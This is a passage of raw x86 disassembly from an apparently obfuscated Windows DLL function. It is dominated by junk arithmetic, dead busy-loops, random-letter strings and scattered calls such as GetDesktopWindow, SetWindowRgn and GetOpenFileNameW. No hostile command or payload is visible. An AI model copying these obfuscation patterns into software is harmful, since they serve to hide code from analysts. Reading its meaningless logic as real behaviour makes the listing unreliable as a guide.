setge cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x3c], 0x99c7
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x15c]
test edx, edx
je 0x1003ce39
cmp dword [ebp - 0x24], ebx
je 0x1003ce39
xor eax, eax
inc eax
jmp 0x1003ce3b
mov eax, ebx
cmp dword [ebp - 0x15c], eax
jg 0x1003ce46
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x158]
mov edx, 0xddc4ea3c
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x44], eax
sbb eax, eax
neg eax
mov dword [ebp - 0x40], ecx
sub eax, dword [ecx + 4]
cmp eax, 0xa3a2
jg 0x1003cf13
mov dword [ebp - 0x18], ebx
jmp 0x1003ce99
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x364], 0x6d4d4411
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003ce88
mov eax, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x164]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x358]
setge cl
add eax, ecx
cmp eax, dword [ebp - 0x358]
jg 0x1003ced8
mov eax, dword [ebp - 0x27c]
cmp dword [eax], ebx
jne 0x1003ced8
mov ecx, ebx
jmp 0x1003cedb
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x8cd8
mov ecx, dword [ebp - 0x40]
setl al
xor edx, edx
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x358]
setg dl
xor ecx, ecx
cmp eax, 1
mov eax, dword [ebp - 0x358]
setl cl
add ecx, edx
xor edx, edx
cmp ecx, eax
setne dl
mov dword [ebp - 0x28], edx
jmp 0x1003cf1c
push ecx
xor dl, dl
call fcn.10039466
pop ecx
lea ecx, [ebp - 0x27c]
mov dword [ebp - 4], edi
call fcn.10006b13
push 1
lea eax, [ebp - 0x4d]
push eax
push 0xee4
push ecx
push ecx
lea ecx, [ebp - 0xc8]
call fcn.10036d4a
add esp, 0x14
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 4
jl 0x1003cba8
mov dword [ebp - 0x20], 0xddc85f70
lea ecx, [ebp - 0x324]
mov dword [ebp - 0x24], 0x962ee6d0
mov dword [ebp - 0x38], edi
push 3
call fcn.10006ab6
lea eax, [ebp - 0x324]
mov dword [ebp - 4], 0x15
push eax
push ecx
push ecx
mov dword [ebp - 0x38], 1
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x40], 0x67df2ddf
mov edx, 0x274b
push ebx
call fcn.1003aeb1
add esp, 0x10
mov dword [ebp - 0x94], ebx
jmp 0x1003cfc1
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x208], 0x97cb
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 1
jl 0x1003cfaa
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffef
jge 0x1003d0d2
mov esi, dword [ebp - 0x324]
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], ebx
jmp 0x1003cffd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x144], 0xfadf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003cfec
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x140]
test eax, eax
jne 0x1003d039
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x140]
je 0x1003d039
mov ecx, ebx
jmp 0x1003d03c
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x140]
neg edx
cmp eax, edx
setge cl
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], ebx
jne 0x1003d073
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x144]
dec eax
neg eax
sbb eax, eax
inc eax
sub eax, dword [esi + 8]
jne 0x1003d08a
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], ebx
je 0x1003d0ba
cmp dword [ebp - 0x208], ebx
je 0x1003d0ba
xor eax, eax
inc eax
jmp 0x1003d0bc
mov eax, ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffef
jl 0x1003cfdd
push ecx
push 0x2330
push ecx
xor cl, cl
call fcn.100371bd
add esp, 0xc
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x324]
call fcn.10006b13
mov esi, dword [0x10074bd0]
lea ecx, [ebp - 0x2b8]
push 1
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], esi
call fcn.10006ab6
push ecx
lea eax, [ebp - 0x2b8]
mov dword [ebp - 4], 0x16
push eax
push ecx
mov dword [ebp - 0x18], 0x3838a1f9
lea edx, [ebp - 0x1c8]
push 1
mov ecx, 0x54f0
call fcn.100380d8
mov dword [ebp - 0x18], ebx
add esp, 0x10
cmp dword [ebp - 0x18], ebx
jl 0x1003d151
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2b8]
cmp dword [eax + ecx*4], ebx
jne 0x1003d151
dec dword [ebp - 0x18]
jns 0x1003d13e
push 1
push ecx
push ecx
mov edx, 0x285c
mov byte [ebp - 0x74], bl
lea ecx, [ebp - 0x74]
call fcn.10039550
add esp, 0xc
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x2b8]
call fcn.10006b13
test esi, esi
jle 0x1003efe9
cmp esi, 0x2b0f
jae 0x1003efe9
push dword [ebp - 0xe4]
mov edx, esi
push ecx
push dword [ebp - 0xc8]
push 0x10074bd0
call fcn.1003692a
mov dword [ebp - 0x28], edi
add esp, 0x10
mov dword [ebp - 0x18], ebx
jmp 0x1003d1bb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x458], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003d1ae
mov dword [ebp - 0x28], ebx
jmp 0x1003d1e7
mov dword [ebp - 0x40], 0x3eee2fde
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x458]
cmp eax, 0x72d4
setle cl
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1003d1c6
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1003d21c
push 1
push 0x3ca0
push 0x473c
push ebx
push 0x6540
push 1
mov edx, 0x6ce
mov ecx, 0xd93
call fcn.1003a5ea
add esp, 0x18
push ecx
push 0x102c5674
push ecx
mov cl, 1
call fcn.100371bd
add esp, 0xc
lea ecx, [ebp - 0x270]
push 2
call fcn.10006ab6
mov dword [ebp - 4], 0x17
lea eax, [ebp - 0x414]
push dword [ebp - 0x1c8]
movdqa xmm0, xmmword [0x1006b240]
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x2c], 4
push eax
mov dword [ebp - 0x48], 0xcfaf425f
lea eax, [ebp - 0x424]
mov dword [ebp - 0x38], 0x47706695
push eax
mov dword [ebp - 0x4c], 0xfffffffe
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x20], 0xfff9
push ebx
movdqu xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
call fcn.10020344
push 0x418a
push 0x70cd
push ecx
push ecx
lea eax, [ebp - 0x400]
mov byte [ebp - 4], 0x18
push 1
mov dword [ebp - 0x48], 0xf5f2
lea ecx, [ebp - 0x270]
push eax
call fcn.10036dc3
mov dword [ebp - 0x1c], 0x2489
add esp, 0x18
cmp dword [ebp - 0x1c], 0x271b
jle 0x1003d327
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov edi, 0x5e42
mov eax, ebx
mov ecx, 0x10077cb8
cdq
push edx
push eax
call fcn.1000651b
add ebx, esi
dec edi
jne 0x1003d2f1
inc esi
push edi
pop ebx
cmp esi, 0x5408
jl 0x1003d2e9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
or edi, 0xffffffff
mov esi, dword [ebp - 0x270]
xor ecx, ecx
inc ecx
mov dword [esi], ebx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x48], 0x721c
mov dword [ebp - 0x18], ebx
jmp 0x1003d358
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x184], 0xa9017ca4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003d347
mov dword [ebp - 0x28], 0xb
jmp 0x1003d39a
mov dword [ebp - 0x40], 0xcc25fa5f
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1003d397
push ecx
push ecx
push 0x5888
push 0x5a74
mov edx, 0x3292
xor cl, cl
call fcn.100397cc
xor ecx, ecx
add esp, 0x10
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x11
jne 0x1003d366
inc dword [ebp - 0x20]
je 0x1003d40c
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x28], ebx
je 0x1003d3e1
mov eax, dword [ebp - 0x54]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x194]
neg eax
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x38]
setne dl
imul eax, edx
sub eax, dword [ebp - 0x20]
add eax, 0x24380d33
cmp eax, dword [ebp - 0x4c]
jl 0x1003d3e1
xor edx, edx
inc edx
jmp 0x1003d3e3
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x20]
jge 0x1003d403
cmp dword [ebp - 0x48], ebx
jne 0x1003d406
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
inc ecx
mov eax, ecx
sub eax, dword [esi + 4]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x270]
inc dword [eax]
cmp dword [eax], 0x11
jne 0x1003d332
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x1c], 0x2322
jge 0x1003d468
mov edx, str.gccldhfw_heokv_ykacrlbpx
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003d468
lea ecx, [ebp - 0x194]
call fcn.10006b13
lea ecx, [ebp - 0x270]
mov dword [ebp - 4], edi
call fcn.10006b13
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], 0xa0426a76
mov dword [ebp - 0x48], 0xcd6a
mov dword [ebp - 0x18], ebx
jmp 0x1003d4b2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xac], 0xfff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003d4a1
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xa8]
neg eax
sbb eax, eax
xor edx, edx
inc eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0xac]
je 0x1003d600
mov dword [ebp - 0x2c], edx
lea ecx, [ebp - 0x354]
push 3
call fcn.10006ab6
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x18], ebx
jmp 0x1003d550
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x354]
mov dword [eax + ecx*4], 0xb45c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003d53d
mov dword [ebp - 0x20], ebx
jmp 0x1003d5de
mov dword [ebp - 0x18], ebx
jmp 0x1003d570
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x468], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003d563
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xac]
test eax, eax
mov eax, dword [ebp - 0x20]
sete cl
imul ecx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x1c]
sub eax, ecx
je 0x1003d5be
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
add edx, 8
mov dword [ebp - 0x468], edx
jmp 0x1003d5db
mov dword [ebp - 0x1c], ebx
jmp 0x1003d5d5
lea eax, [ebp - 0x67]
mov byte [ebp - 0x67], bl
push eax
mov cl, 1
call fcn.1003957c
inc dword [ebp - 0x1c]
pop ecx
cmp dword [ebp - 0x1c], 2
jle 0x1003d5c3
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x1003d55e
mov eax, dword [ebp - 0x354]
lea ecx, [ebp - 0x354]
inc dword [eax]
mov dword [ebp - 4], edi
call fcn.10006b13
jmp 0x1003d62a
push ecx
push 0x3ea3
push 0x1b60
push ecx
push 0x4240
push 0x57ba
push 0x2baf
push ecx
lea ecx, [ebp - 0x65]
mov byte [ebp - 0x65], bl
call fcn.1003964a
add esp, 0x20
push 4
lea ecx, [ebp - 0x30c]
mov dword [ebp - 0x38], 0x10074bd4
call fcn.10006ab6
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x28], 0x6a76
cmp dword [ebp - 0x28], 0x6c68
jle 0x1003d6c4
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov eax, ecx
mov ecx, edx
sar eax, cl
mov dword [ebp - 0x48], eax
mov ebx, eax
mov eax, edi
mov ecx, 0x10077cb8
or eax, ebx
cdq
push edx
push eax
call fcn.1000651b
inc edi
cmp edi, 0x6854
jl 0x1003d676
mov edi, dword [ebp - 0x18]
inc esi
mov ecx, dword [ebp - 0x24]
push 0
pop ebx
cmp esi, 0x2f54
jl 0x1003d661
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x29f5
jl 0x1003d65f
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x109a
jl 0x1003d65a
push ebx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
or edi, 0xffffffff
mov dword [ebp - 0x198], edi
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x28], 0x6935
jge 0x1003d6e6
mov edx, str.azs_tspv_hwrkucqbd_mro_owukq_vmnb_elka_asfftdmi_mahmmpwga_lqlvxqn_hzosal_rryrygsvg_vts
mov ecx, 0x10077cb8
call fcn.10009581
xor edx, edx
inc edx
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x188], edx
mov dword [ebp - 0x24c], 0xffff
mov dword [ebp - 0x210], 0xb002891b
push 0xa
mov dword [ebp - 0x218], 0xee3f2f34
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x1003d755
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003d746
push ecx
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x24c]
push eax
push ecx
push 0x6733
push ecx
lea eax, [ebp - 0x188]
push eax
push ecx
lea eax, [ebp - 0x210]
push eax
push ecx
push ecx
lea eax, [ebp - 0x198]
push eax
push ecx
lea eax, [ebp - 0x218]
push eax
push ecx
push edx
call fcn.10036f55
add esp, 0x40
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x30c]
call fcn.10006b13
mov dword [ebp - 0x70], 8
lea ecx, [ebp - 0x170]
push 1
call fcn.10006ab6
xor edx, edx
mov dword [ebp - 4], 0x1f
inc edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x18], ebx
jmp 0x1003d7e5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0x1ded6804
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003d7d2
push 0x423d
push ecx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x170]
push eax
push ecx
lea edx, [ebp - 0x110]
xor cl, cl
call fcn.10039319
add esp, 0x14
mov dword [ebp - 0x70], ebx
jmp 0x1003d938
mov dword [ebp - 0x1c], 0x17c1
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x2c], 0xae07ea4c
cmp dword [ebp - 0x1c], ebx
jne 0x1003d942
mov dword [ebp - 0x1c], ebx
jmp 0x1003d92c
mov dword [ebp - 0x18], ebx
jmp 0x1003d850
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x480], 0xdbcabebf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003d83f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x170]
cmp dword [eax + ecx*4], ebx
je 0x1003d87e
push ecx
push 1
lea edx, [ebp - 0x68]
mov byte [ebp - 0x68], bl
mov ecx, 0x320b
call fcn.10039787
pop ecx
pop ecx
jmp 0x1003d929
mov dword [ebp - 0x24], 0xfffffffe
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x170]
cmp dword [eax + ecx*4], ebx
jne 0x1003d935
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x474], 0xfffa
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x170]
push 0
mov eax, dword [ecx + eax*4]
cmp eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x1c]
pop edx
setg dl
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xfffffffe
setle al
cmp edx, eax
jg 0x1003d8df
cmp dword [ebp - 0x1c], ebx
je 0x1003d8df
xor eax, eax
inc eax
jmp 0x1003d8e1
mov eax, ebx
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0x170]
mov dword [eax + edx*4], ecx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, 0x2c80aa11
sub ecx, eax
mov eax, dword [ebp - 0x110]
add ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
sub edx, 0x2faa
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x70]
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1003d83a
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 3
jl 0x1003d814
lea ecx, [ebp - 0x170]
mov dword [ebp - 4], edi
call fcn.10006b13
push 2
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 0x60], bl
mov word [ebp - 0x5f], 0x19c
mov byte [ebp - 0x5d], 0x3a
call fcn.10006ab6
push 4
lea ecx, [ebp - 0x33c]
mov dword [ebp - 4], 0x20
call fcn.10006ab6
push 1
push 1
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 0x21
push eax
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x22c], 5
push eax
mov edx, 0x70e1
mov cl, 1
call fcn.100397cc
add esp, 0x10
lea eax, [ebp - 0x33c]
lea edx, [ebp - 0x1a8]
push 0x2162
push ecx
push eax
xor cl, cl
call fcn.1003ae5b
mov eax, dword [ebp - 0x1a4]
add esp, 0xc
mov dword [eax], ebx
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x234], 0x7689351f
push eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x234]
push 1
push eax
lea edx, [ebp - 0x33c]
call fcn.100398a5
mov eax, dword [ebp - 0x1a4]
add esp, 0x10
dec dword [eax]
cmp dword [eax], 0xffffffeb
jge 0x1003d9d2
lea ecx, [ebp - 0x33c]
call fcn.10006b13
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], edi
call fcn.10006b13
push 1
push ebx
push 0x2597
push 0x2b7
mov edx, 0x5118
mov word [ebp - 0xa0], si
xor cl, cl
call fcn.100397cc
add esp, 0x10
mov dword [ebp - 0xdc], ebx
push 2
pop esi
mov dword [ebp - 0x24], esi
cmp esi, 4
jae 0x1003deee
push 4
lea ecx, [ebp - 0x3ec]
call fcn.10006ab6
push 0x7240
push ecx
push 1
push 0x65b3
sub esp, 0xc
mov dword [ebp - 4], 0x22
lea eax, [ebp - 0x3ec]
mov edx, 0xf9c
push 0xdc1
push ecx
push eax
push 0xcac
push 0xb89
push 0x3983
push ecx
lea eax, [ebp - 0x394]
push eax
sub esp, 0xc
push 0x6a08
call fcn.10039a02
add esp, 0x4c
mov edx, 0x5ddf
mov ecx, 0x5bb0
push 0x12d5
push 0x47d1
push 0xcbc
push 0xf95
push 0x831
push 0x23e5
push 1
push 1
push 0x3f7a
push 0xca
push 0x653
push 1
call fcn.10039c17
push ebx
push 0x6d51
mov ecx, 0x5e69
call fcn.1003b27c
add esp, 0x38
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x3ec]
call fcn.10006b13
mov dword [ebp - 0x18], 0x7a50
cmp dword [ebp - 0x18], 0x7c94
jle 0x1003db7e
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x10077cb8
or eax, edi
cdq
push edx
push eax
call fcn.1000651b
inc ebx
cmp ebx, 0x7944
jl 0x1003db36
inc esi
push 0
pop ebx
cmp esi, 0x48d9
jl 0x1003db33
inc edi
cmp edi, 0x3761
jl 0x1003db31
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov esi, dword [ebp - 0x24]
or edi, 0xffffffff
movzx eax, byte [ebp - 0x60]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1003dcd5
movzx eax, byte [ebp + esi - 0x60]
mov dword [ebp - 0x48], eax
inc eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x28], 0xfb8eb5ea
mov dword [ebp - 0xe0], 0x7b88cdf8
mov dword [ebp - 0x2c], 0x992db756
cmp dword [ebp - 0x1c], ebx
je 0x1003dc37
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add eax, 0x90a3cfce
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
sub edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x1c]
je 0x1003dc37
xor eax, eax
inc eax
jmp 0x1003dc39
mov eax, ebx
cmp eax, 0xcd8c45cd
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ebx
jmp 0x1003dcc4
push 1
lea ecx, [ebp - 0x2c4]
call fcn.10006ab6
push ebx
push 0x404c
push 1
push 1
push 0x542b
lea edx, [ebp - 0x130]
mov dword [ebp - 4], 0x23
lea ecx, [ebp - 0x2c4]
call fcn.10039e03
add esp, 0x14
mov dword [ebp - 0x1c], 0xf
jmp 0x1003dcad
lea eax, [ebp - 0xe0]
mov dl, 1
push eax
lea eax, [ebp - 0x2c4]
mov cl, dl
push eax
push ebx
push 0x4a2
call fcn.10038506
add esp, 0x10
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x29
jge 0x1003dc8a
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 4], edi
call fcn.10006b13
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
je 0x1003dc4a
mov eax, dword [ebp - 0x48]
dec eax
add esi, eax
jmp 0x1003dee6
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x18], 0x79f8
jge 0x1003dd1e
mov edx, str.fueiceo_hzfnev_qtooomcm_yxvlzx_ktvevwacf
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003dd1e
mov dword [ebp - 4], edi
lea eax, [ebp - 0x424]
push dword [ebp - 0x130]
movdqa xmm0, xmmword [0x1006b250]
lea ecx, [ebp - 0x264]
push eax
lea eax, [ebp - 0x434]
mov dword [ebp - 0x264], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x434], xmm0
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], ebx
call fcn.10020344
push 0x2caf
mov dword [ebp - 4], 0x26
lea ecx, [ebp - 0x1b4]
push ecx
xor eax, eax
mov ecx, 0x4024
inc eax
mov dword [ebp - 0x2c], eax
mov dl, al
mov dword [ebp - 0x2c], eax
push 0x115d
mov dword [ebp - 0x2c], eax
push 0x67ca
mov dword [ebp - 0x2c], 0xbad86e52
push 0x4924
mov dword [ebp - 0x2c], 0x23afc371
mov dword [ebp - 0x2c], edi
push ebx
mov dword [ebp - 0x18], 0x6db6d037
mov dword [ebp - 0x1b4], 0xb5131d8b
push eax
call fcn.100378ba
add esp, 0x1c
mov dword [ebp - 0x18], 0xffffffe3
jmp 0x1003dded
push 1
push 0xafa
push 0x79f1
push 1
mov edx, 0x2169
xor cl, cl
call fcn.1003744f
add esp, 0x10
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffec
jg 0x1003ddcd
lea ecx, [ebp - 0x264]
mov dword [ebp - 4], edi
call fcn.10006b13
movzx edx, byte [ebp + esi - 0x5f]
mov eax, esi
sub eax, dword [ebp - 0xdc]
push 3
movzx eax, byte [ebp + eax - 0x62]
movzx ecx, word [ebp + eax*2 - 0xa0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x60]
add ecx, edx
mov word [ebp + eax*2 - 0xa0], cx
mov eax, 0x7858f9c2
mov dword [ebp - 0x20], 0xe8cff0ea
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1003de72
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x44c], 0xa6801fc3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003de61
mov dword [ebp - 0x20], ebx
jmp 0x1003deb4
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0x5121ac48
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x18], ebx
jmp 0x1003dea6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x48c], 0xb32a831d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003de95
dec dword [ebp - 0x2ac]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xf
jl 0x1003de7c
mov dword [ebp - 0x20], ebx
jmp 0x1003ded0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x44c], 0xb28ed4a5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1003debf
push ecx
push ecx
